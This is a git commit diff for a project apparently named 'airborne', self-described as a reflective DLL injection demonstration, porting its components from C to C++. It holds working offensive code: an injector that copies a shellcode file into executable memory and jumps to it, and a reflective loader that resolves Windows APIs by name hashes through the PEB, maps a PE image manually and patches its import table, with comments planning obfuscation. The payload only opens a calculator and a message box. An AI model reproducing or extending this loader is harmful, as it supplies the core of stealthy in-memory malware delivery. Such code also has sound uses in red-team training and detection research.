c++ conversion & updated build config
This commit is contained in:
parent
ff702cf36f
commit
a46216abfc
@ -1,7 +1,10 @@
|
|||||||
cmake_minimum_required(VERSION 3.11)
|
cmake_minimum_required(VERSION 3.11)
|
||||||
project(airborne)
|
project(
|
||||||
|
airborne
|
||||||
include(FetchContent)
|
VERSION 0.1.0
|
||||||
|
DESCRIPTION "Reflective DLL injection demonstration"
|
||||||
|
LANGUAGES CXX
|
||||||
|
)
|
||||||
|
|
||||||
if(NOT CMAKE_SYSTEM_NAME MATCHES Windows)
|
if(NOT CMAKE_SYSTEM_NAME MATCHES Windows)
|
||||||
message(FATAL_ERROR "Use a cross compilation suitable toolchain with CMAKE_SYSTEM_NAME set to Windows")
|
message(FATAL_ERROR "Use a cross compilation suitable toolchain with CMAKE_SYSTEM_NAME set to Windows")
|
||||||
@ -15,13 +18,13 @@ else()
|
|||||||
endif()
|
endif()
|
||||||
|
|
||||||
# *) Reflective loader (DLL)
|
# *) Reflective loader (DLL)
|
||||||
add_library(reflective_loader SHARED reflective_loader/loader.c reflective_loader/loader.h)
|
add_library(reflective_loader SHARED reflective_loader/loader.cpp reflective_loader/loader.hpp)
|
||||||
|
|
||||||
# *) Payload (DLL)
|
# *) Payload (DLL)
|
||||||
add_library(payload SHARED payload/payload.c)
|
add_library(payload SHARED payload/payload.cpp)
|
||||||
|
|
||||||
# *) Injector (EXE)
|
# *) Injector (EXE)
|
||||||
add_executable(injector injector/injector.c)
|
add_executable(injector injector/injector.cpp)
|
||||||
|
|
||||||
# *) Shellcode generator (EXE)
|
# *) Shellcode generator (EXE)
|
||||||
add_executable(shellcode_generator shellcode_generator/generator.c)
|
# add_executable(shellcode_generator shellcode_generator/generator.c)
|
||||||
|
@ -1,46 +0,0 @@
|
|||||||
#include <windows.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
// TODO: implement process hollowing
|
|
||||||
|
|
||||||
int main(int argc, char *argv[])
|
|
||||||
{
|
|
||||||
if (argc != 2)
|
|
||||||
{
|
|
||||||
printf("[?] Usage: injector.exe <shellcode-path>\n");
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
printf("[+] Reading shellcode from %s\n", argv[1]);
|
|
||||||
FILE *fin = fopen(argv[1], "rb");
|
|
||||||
|
|
||||||
if (fin == NULL)
|
|
||||||
{
|
|
||||||
printf("[!] Error: could not open file %s\n", argv[1]);
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
fseek(fin, 0, SEEK_END);
|
|
||||||
long fsize = ftell(fin);
|
|
||||||
rewind(fin);
|
|
||||||
|
|
||||||
unsigned char *buffer = (char *)malloc(fsize);
|
|
||||||
fread(buffer, fsize, 1, fin);
|
|
||||||
fclose(fin);
|
|
||||||
|
|
||||||
LPVOID base = VirtualAlloc(NULL, fsize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
||||||
|
|
||||||
if (base == NULL)
|
|
||||||
{
|
|
||||||
printf("[!] Error: could not allocate memory\n");
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
memcpy(base, buffer, fsize);
|
|
||||||
|
|
||||||
printf("[+] Executing 'jmp *%%%p'\n", base);
|
|
||||||
__asm__("jmp *%0\n" ::"r"(base));
|
|
||||||
|
|
||||||
return 1;
|
|
||||||
}
|
|
56
injector/injector.cpp
Normal file
56
injector/injector.cpp
Normal file
@ -0,0 +1,56 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include <iostream>
|
||||||
|
#include <fstream>
|
||||||
|
|
||||||
|
#define VERBOSE 1
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
if (argc != 2)
|
||||||
|
{
|
||||||
|
std::cout << "[?] Usage: " << argv[0] << " <shellcode-path>" << std::endl;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef VERBOSE
|
||||||
|
std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
std::ifstream shellcode(argv[1]);
|
||||||
|
|
||||||
|
if (!shellcode.is_open())
|
||||||
|
{
|
||||||
|
std::cout << "[!] Failed to open " << argv[1] << std::endl;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
shellcode.seekg(0, std::ios::end);
|
||||||
|
size_t filesize = shellcode.tellg();
|
||||||
|
shellcode.seekg(0, std::ios::beg);
|
||||||
|
|
||||||
|
auto buffer = new char[filesize];
|
||||||
|
shellcode.read(buffer, filesize);
|
||||||
|
|
||||||
|
auto base = VirtualAlloc(nullptr, filesize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
|
if (!base)
|
||||||
|
{
|
||||||
|
std::cout << "[!] Failed to allocate memory" << std::endl;
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef VERBOSE
|
||||||
|
std::cout << "[+] Allocated " << filesize << " bytes at " << base << std::endl;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
std::copy(buffer, buffer + filesize, static_cast<char *>(base));
|
||||||
|
|
||||||
|
#ifdef VERBOSE
|
||||||
|
std::cout << "[+] Copied shellcode to " << base << std::endl;
|
||||||
|
std::cout << "[+] Executing 'jmp " << base << "'" << std::endl;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
__asm__("jmp *%0" ::"r"(base));
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
@ -1,29 +0,0 @@
|
|||||||
#include <windows.h>
|
|
||||||
|
|
||||||
#ifdef BUILD_DLL
|
|
||||||
#define DLL_EXPORT __declspec(dllexport)
|
|
||||||
#else
|
|
||||||
#define DLL_EXPORT __declspec(dllimport)
|
|
||||||
#endif
|
|
||||||
|
|
||||||
BOOL WINAPI DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved)
|
|
||||||
{
|
|
||||||
if (fdwReason == DLL_PROCESS_ATTACH)
|
|
||||||
{
|
|
||||||
CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL);
|
|
||||||
}
|
|
||||||
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL SayHello(LPVOID lpUserData, DWORD nUserDataLen)
|
|
||||||
{
|
|
||||||
MessageBoxW(NULL, L"Hello from payload!", L"Hello World!", MB_OK);
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL SayCustom(LPVOID lpUserData, DWORD nUserDataLen)
|
|
||||||
{
|
|
||||||
MessageBoxW(NULL, (LPCWSTR)lpUserData, L"Hello World!", MB_OK);
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
25
payload/payload.cpp
Normal file
25
payload/payload.cpp
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#ifdef BUILD_DLL
|
||||||
|
#define DLL_EXPORT __declspec(dllexport)
|
||||||
|
#else
|
||||||
|
#define DLL_EXPORT __declspec(dllimport)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
|
||||||
|
{
|
||||||
|
if (dwReason == DLL_PROCESS_ATTACH)
|
||||||
|
{
|
||||||
|
CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL PrintMessage(LPVOID lpUserData, DWORD dwUserDataSize)
|
||||||
|
{
|
||||||
|
auto lpText = static_cast<LPCWSTR>(lpUserData);
|
||||||
|
MessageBoxW(NULL, lpText, L"Hello World!", MB_OK);
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
@ -1,410 +0,0 @@
|
|||||||
#include "loader.h"
|
|
||||||
#include <windows.h>
|
|
||||||
#include <winternl.h>
|
|
||||||
|
|
||||||
void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, PVOID pvShellcodeBase, DWORD dwFlags)
|
|
||||||
{
|
|
||||||
if (!pImage)
|
|
||||||
{
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
1.) Locate the required functions and modules from exports with their hashed names
|
|
||||||
*/
|
|
||||||
|
|
||||||
HMODULE hKernel32 = GetModuleAddrFromHash(KERNEL32_DLL_HASH);
|
|
||||||
|
|
||||||
if (!hKernel32)
|
|
||||||
{
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
LOAD_LIBRARY_W pLoadLibraryW = (LOAD_LIBRARY_W)GetExportAddrFromHash(hKernel32, LOAD_LIBRARY_W_HASH);
|
|
||||||
GET_PROC_ADDRESS pGetProcAddress = (GET_PROC_ADDRESS)GetExportAddrFromHash(hKernel32, GET_PROC_ADDRESS_HASH);
|
|
||||||
VIRTUAL_ALLOC pVirtualAlloc = (VIRTUAL_ALLOC)GetExportAddrFromHash(hKernel32, VIRTUAL_ALLOC_HASH);
|
|
||||||
FLUSH_INSTRUCTION_CACHE pFlushInstructionCache = (FLUSH_INSTRUCTION_CACHE)GetExportAddrFromHash(hKernel32, FLUSH_INSTRUCTION_CACHE_HASH);
|
|
||||||
VIRTUAL_PROTECT pVirtualProtect = (VIRTUAL_PROTECT)GetExportAddrFromHash(hKernel32, VIRTUAL_PROTECT_HASH);
|
|
||||||
SLEEP pSleep = (SLEEP)GetExportAddrFromHash(hKernel32, SLEEP_HASH);
|
|
||||||
|
|
||||||
if (!pLoadLibraryW || !pGetProcAddress || !pVirtualAlloc || !pFlushInstructionCache || !pVirtualProtect || !pSleep)
|
|
||||||
{
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
2.) Load the target image to a newly allocated permanent memory location with RW permissions
|
|
||||||
- https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c
|
|
||||||
*/
|
|
||||||
|
|
||||||
PIMAGE_NT_HEADERS64 pNtHeaders = GetNtHeaders(pImage);
|
|
||||||
|
|
||||||
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
|
|
||||||
{
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64)
|
|
||||||
{
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (pNtHeaders->OptionalHeader.SectionAlignment & 1)
|
|
||||||
{
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
DWORD dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage;
|
|
||||||
ULONGLONG ullPreferredImageBase = pNtHeaders->OptionalHeader.ImageBase;
|
|
||||||
|
|
||||||
// Try to allocate the image to the preferred base address
|
|
||||||
ULONG_PTR pNewImageBase = (ULONG_PTR)pVirtualAlloc((LPVOID)ullPreferredImageBase, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
|
||||||
|
|
||||||
if (!pNewImageBase)
|
|
||||||
{
|
|
||||||
// Allocate to a random address if the preferred base address is already occupied
|
|
||||||
pNewImageBase = (ULONG_PTR)pVirtualAlloc(NULL, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
|
||||||
}
|
|
||||||
|
|
||||||
CopySections(pNewImageBase, pImage, pNtHeaders);
|
|
||||||
CopyHeaders(pNewImageBase, pImage, pNtHeaders);
|
|
||||||
|
|
||||||
/*
|
|
||||||
3.) Process the image relocations (assumes the image couldn't be loaded to the preferred base address)
|
|
||||||
*/
|
|
||||||
|
|
||||||
ULONG_PTR ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase;
|
|
||||||
PIMAGE_DATA_DIRECTORY pDataDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
|
||||||
|
|
||||||
if (!ProcessRelocations(pNewImageBase, pDataDirectory, ulpDelta))
|
|
||||||
{
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
4.) Resolve the imports by patching the Import Address Table (IAT)
|
|
||||||
*/
|
|
||||||
|
|
||||||
if (!PatchImportAddressTable(pNewImageBase, pDataDirectory, pLoadLibraryW, pGetProcAddress))
|
|
||||||
{
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
5.) Finalize the sections by setting protective permissions after mapping the image
|
|
||||||
*/
|
|
||||||
|
|
||||||
FinalizeRelocations(pNewImageBase, pNtHeaders, pVirtualProtect, pFlushInstructionCache);
|
|
||||||
|
|
||||||
/*
|
|
||||||
6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator
|
|
||||||
*/
|
|
||||||
|
|
||||||
if (dwFlags == 0)
|
|
||||||
{
|
|
||||||
// Execute DllMain with DLL_PROCESS_ATTACH
|
|
||||||
DLLMAIN pDllMain = (DLLMAIN)(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
|
|
||||||
pDllMain((HINSTANCE)pNewImageBase, DLL_PROCESS_ATTACH, NULL);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
// Execute user defined function
|
|
||||||
USER_FUNCTION pFunction = (USER_FUNCTION)GetExportAddrFromHash((HMODULE)pNewImageBase, dwFunctionHash);
|
|
||||||
pFunction(pvUserData, dwUserDataLen);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache)
|
|
||||||
{
|
|
||||||
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
|
|
||||||
|
|
||||||
for (size_t i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++)
|
|
||||||
{
|
|
||||||
DWORD dwOldProtect;
|
|
||||||
DWORD dwNewProtect = 0;
|
|
||||||
|
|
||||||
// Definitions for readability
|
|
||||||
DWORD dwIsExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
|
|
||||||
DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0;
|
|
||||||
DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
|
|
||||||
|
|
||||||
if (!dwIsExecutable && !dwIsReadable && !dwIsWritable)
|
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_NOACCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (dwIsWritable)
|
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_WRITECOPY;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (dwIsReadable)
|
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_READONLY;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (dwIsWritable && dwIsReadable)
|
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_READWRITE;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (dwIsExecutable)
|
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_EXECUTE;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (dwIsExecutable && dwIsWritable)
|
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_EXECUTE_WRITECOPY;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (dwIsExecutable && dwIsReadable)
|
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_EXECUTE_READ;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (dwIsExecutable && dwIsWritable && dwIsReadable)
|
|
||||||
{
|
|
||||||
dwNewProtect = PAGE_EXECUTE_READWRITE;
|
|
||||||
}
|
|
||||||
|
|
||||||
pVirtualProtect((LPVOID)(pNewImageBase + pSectionHeader->VirtualAddress), pSectionHeader->SizeOfRawData, dwNewProtect, &dwOldProtect);
|
|
||||||
}
|
|
||||||
|
|
||||||
pFlushInstructionCache((HANDLE)-1, NULL, 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress)
|
|
||||||
{
|
|
||||||
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
|
|
||||||
|
|
||||||
if (!pImportDescriptor)
|
|
||||||
{
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
TODO: obfuscate the import resolution by delaying the resolution of imports
|
|
||||||
-> implementation stolen from https://github.com/monoxgas/sRDI/blob/master/ShellcodeRDI/ShellcodeRDI.c#L391
|
|
||||||
1. read the IMAGE_IMPORT_DESCRIPTOR structure from the IAT
|
|
||||||
2. calculate randomized order based on the number of imports
|
|
||||||
*/
|
|
||||||
|
|
||||||
// DWORD dwImportCount = 0;
|
|
||||||
|
|
||||||
while (pImportDescriptor->Name)
|
|
||||||
{
|
|
||||||
HMODULE hModule = pLoadLibraryW((LPCWSTR)(pNewImageBase + pImportDescriptor->Name));
|
|
||||||
|
|
||||||
if (!hModule)
|
|
||||||
{
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
PIMAGE_THUNK_DATA64 pThunkData = (PIMAGE_THUNK_DATA64)(pNewImageBase + pImportDescriptor->OriginalFirstThunk);
|
|
||||||
PIMAGE_THUNK_DATA64 pThunkDataIat = (PIMAGE_THUNK_DATA64)(pNewImageBase + pImportDescriptor->FirstThunk);
|
|
||||||
|
|
||||||
while (pThunkData->u1.Function)
|
|
||||||
{
|
|
||||||
if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
|
|
||||||
{
|
|
||||||
// High bits masked out to get the ordinal number
|
|
||||||
pThunkDataIat->u1.Function = (ULONGLONG)pGetProcAddress(hModule, (LPCSTR)(pThunkData->u1.Ordinal & 0xFFFF));
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
// The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure
|
|
||||||
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(pNewImageBase + pThunkData->u1.AddressOfData);
|
|
||||||
pThunkDataIat->u1.Function = (ULONGLONG)pGetProcAddress(hModule, (LPCSTR)pImportByName->Name);
|
|
||||||
}
|
|
||||||
|
|
||||||
pThunkData++;
|
|
||||||
pThunkDataIat++;
|
|
||||||
}
|
|
||||||
|
|
||||||
pImportDescriptor++;
|
|
||||||
}
|
|
||||||
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta)
|
|
||||||
{
|
|
||||||
PIMAGE_BASE_RELOCATION pRelocation = (PIMAGE_BASE_RELOCATION)(pNewImageBase + pDataDirectory->VirtualAddress);
|
|
||||||
|
|
||||||
if (pRelocation == NULL || pDataDirectory->Size == 0)
|
|
||||||
{
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Upper bound to prevent accessing memory part the end of the relocation data
|
|
||||||
DWORD dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size;
|
|
||||||
PIMAGE_RELOC pRelocationList;
|
|
||||||
|
|
||||||
while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock)
|
|
||||||
{
|
|
||||||
pRelocationList = (PIMAGE_RELOC)(pRelocation + 1);
|
|
||||||
|
|
||||||
while ((PBYTE)pRelocationList < (PBYTE)pRelocation + pRelocation->SizeOfBlock)
|
|
||||||
{
|
|
||||||
switch (pRelocationList->type)
|
|
||||||
{
|
|
||||||
case IMAGE_REL_BASED_DIR64:
|
|
||||||
// Apply the difference to the 64-bit field at offset
|
|
||||||
*(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += ulpDelta;
|
|
||||||
break;
|
|
||||||
case IMAGE_REL_BASED_HIGHLOW:
|
|
||||||
// Base relocation applies all 32 bits of the difference tothe 32-bit field at offset
|
|
||||||
*(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += (DWORD)ulpDelta;
|
|
||||||
break;
|
|
||||||
case IMAGE_REL_BASED_HIGH:
|
|
||||||
// Base relocation adds the high 16 bits of the difference to the 16-bit field at offset
|
|
||||||
*(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += HIWORD(ulpDelta);
|
|
||||||
break;
|
|
||||||
case IMAGE_REL_BASED_LOW:
|
|
||||||
// Base relocation adds the low 16 bits of the difference to the 16-bit field at offset
|
|
||||||
*(PULONG_PTR)(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset) += LOWORD(ulpDelta);
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
pRelocationList++;
|
|
||||||
}
|
|
||||||
|
|
||||||
pRelocation = (PIMAGE_BASE_RELOCATION)pRelocationList;
|
|
||||||
}
|
|
||||||
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
void CopySections(ULONG_PTR pNewImageBase, PVOID pImage, PIMAGE_NT_HEADERS64 pNtHeaders)
|
|
||||||
{
|
|
||||||
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
|
|
||||||
|
|
||||||
for (size_t i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++)
|
|
||||||
{
|
|
||||||
for (size_t j = 0; j < pSectionHeader->SizeOfRawData; j++)
|
|
||||||
{
|
|
||||||
*((PBYTE)pNewImageBase + pSectionHeader->VirtualAddress + j) = *((PBYTE)pImage + pSectionHeader->PointerToRawData + j);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void CopyHeaders(ULONG_PTR pNewImageBase, PVOID pImage, PIMAGE_NT_HEADERS64 pNtHeaders)
|
|
||||||
{
|
|
||||||
for (size_t i = 0; i < pNtHeaders->OptionalHeader.SizeOfHeaders; i++)
|
|
||||||
{
|
|
||||||
*((PBYTE)pNewImageBase + i) = *((PBYTE)pImage + i);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
HMODULE GetModuleAddrFromHash(DWORD dwHash)
|
|
||||||
{
|
|
||||||
// https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
|
|
||||||
#if defined(_WIN64)
|
|
||||||
// PEB is located at GS:[0x60]
|
|
||||||
PPEB pPeb = (PPEB)__readgsqword(0x60);
|
|
||||||
#else
|
|
||||||
// PEB is located at FS:[0x30]
|
|
||||||
PPEB pPeb = (PPEB)__readfsdword(0x30);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
PMY_PEB_LDR_DATA pLdr = (PMY_PEB_LDR_DATA)pPeb->Ldr;
|
|
||||||
PMY_LDR_DATA_TABLE_ENTRY pEntry = (PMY_LDR_DATA_TABLE_ENTRY)pLdr->InLoadOrderModuleList.Flink;
|
|
||||||
DWORD dwModuleHash;
|
|
||||||
UNICODE_STRING strBaseDllName;
|
|
||||||
|
|
||||||
while (pEntry->DllBase != NULL)
|
|
||||||
{
|
|
||||||
strBaseDllName = pEntry->BaseDllName;
|
|
||||||
dwModuleHash = CalculateHash(&strBaseDllName);
|
|
||||||
|
|
||||||
if (dwModuleHash == dwHash)
|
|
||||||
{
|
|
||||||
return pEntry->DllBase;
|
|
||||||
}
|
|
||||||
|
|
||||||
pEntry = (PMY_LDR_DATA_TABLE_ENTRY)pEntry->InLoadOrderLinks.Flink;
|
|
||||||
}
|
|
||||||
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
HMODULE GetExportAddrFromHash(HMODULE hModule, DWORD dwHash)
|
|
||||||
{
|
|
||||||
PIMAGE_NT_HEADERS64 pNtHeaders = GetNtHeaders((PBYTE)hModule);
|
|
||||||
|
|
||||||
if (pNtHeaders == NULL)
|
|
||||||
{
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
IMAGE_DATA_DIRECTORY *pExportDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
|
||||||
IMAGE_EXPORT_DIRECTORY *pExportDirectoryData = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)hModule + pExportDirectory->VirtualAddress);
|
|
||||||
DWORD dwNameRva, dwNameHash, dwFuncRva;
|
|
||||||
WORD wOrdinal;
|
|
||||||
UNICODE_STRING *strBaseDllName;
|
|
||||||
|
|
||||||
for (size_t i = 0; i < pExportDirectoryData->NumberOfNames; i++)
|
|
||||||
{
|
|
||||||
dwNameRva = ((DWORD *)((PBYTE)hModule + pExportDirectoryData->AddressOfNames))[i];
|
|
||||||
strBaseDllName = (UNICODE_STRING *)((PBYTE)hModule + dwNameRva);
|
|
||||||
dwNameHash = CalculateHash(strBaseDllName);
|
|
||||||
|
|
||||||
if (dwNameHash == dwHash)
|
|
||||||
{
|
|
||||||
wOrdinal = ((WORD *)((PBYTE)hModule + pExportDirectoryData->AddressOfNameOrdinals))[i];
|
|
||||||
dwFuncRva = ((DWORD *)((PBYTE)hModule + pExportDirectoryData->AddressOfFunctions))[wOrdinal];
|
|
||||||
|
|
||||||
return (HMODULE)((PBYTE)hModule + dwFuncRva);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pImage)
|
|
||||||
{
|
|
||||||
IMAGE_DOS_HEADER *pDosHeader = (IMAGE_DOS_HEADER *)pImage;
|
|
||||||
|
|
||||||
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
|
|
||||||
{
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
PIMAGE_NT_HEADERS64 pNtHeaders = (PIMAGE_NT_HEADERS64)(pImage + pDosHeader->e_lfanew);
|
|
||||||
|
|
||||||
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
|
|
||||||
{
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
return pNtHeaders;
|
|
||||||
}
|
|
||||||
|
|
||||||
DWORD CalculateHash(UNICODE_STRING *baseDllName)
|
|
||||||
{
|
|
||||||
DWORD dwHash = HASH_KEY;
|
|
||||||
PWSTR pwszBaseDllName = baseDllName->Buffer;
|
|
||||||
char ch;
|
|
||||||
|
|
||||||
for (size_t i = 0; i < baseDllName->MaximumLength; i++)
|
|
||||||
{
|
|
||||||
ch = (char)pwszBaseDllName[i];
|
|
||||||
|
|
||||||
if (ch == '\0')
|
|
||||||
{
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ch >= 'a' && ch <= 'z')
|
|
||||||
{
|
|
||||||
ch -= 0x20;
|
|
||||||
}
|
|
||||||
|
|
||||||
dwHash = ((dwHash << 5) + dwHash) + (DWORD)ch;
|
|
||||||
}
|
|
||||||
|
|
||||||
return dwHash;
|
|
||||||
}
|
|
466
reflective_loader/loader.cpp
Normal file
466
reflective_loader/loader.cpp
Normal file
@ -0,0 +1,466 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
#include <vector>
|
||||||
|
#include <tuple>
|
||||||
|
#include <algorithm>
|
||||||
|
#include <random>
|
||||||
|
|
||||||
|
#include "loader.hpp"
|
||||||
|
|
||||||
|
void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, DWORD dwFlags)
|
||||||
|
{
|
||||||
|
/*
|
||||||
|
1.) Locate the required functions and modules from exports with their hashed names
|
||||||
|
*/
|
||||||
|
|
||||||
|
auto pbKernel32Dll = GetModuleAddressFromHash(KERNEL32_DLL_HASH);
|
||||||
|
|
||||||
|
if (pbKernel32Dll == nullptr)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// auto rng = std::default_random_engine{};
|
||||||
|
std::random_device rd;
|
||||||
|
std::mt19937 eng(rd());
|
||||||
|
|
||||||
|
auto pLoadLibraryW = reinterpret_cast<LOAD_LIBRARY_W>(GetExportAddrFromHash(pbKernel32Dll, LOAD_LIBRARY_W_HASH, eng));
|
||||||
|
auto pGetProcAddress = reinterpret_cast<GET_PROC_ADDRESS>(GetExportAddrFromHash(pbKernel32Dll, GET_PROC_ADDRESS_HASH, eng));
|
||||||
|
auto pVirtualAlloc = reinterpret_cast<VIRTUAL_ALLOC>(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_ALLOC_HASH, eng));
|
||||||
|
auto pFlushInstructionCache = reinterpret_cast<FLUSH_INSTRUCTION_CACHE>(GetExportAddrFromHash(pbKernel32Dll, FLUSH_INSTRUCTION_CACHE_HASH, eng));
|
||||||
|
auto pVirtualProtect = reinterpret_cast<VIRTUAL_PROTECT>(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_PROTECT_HASH, eng));
|
||||||
|
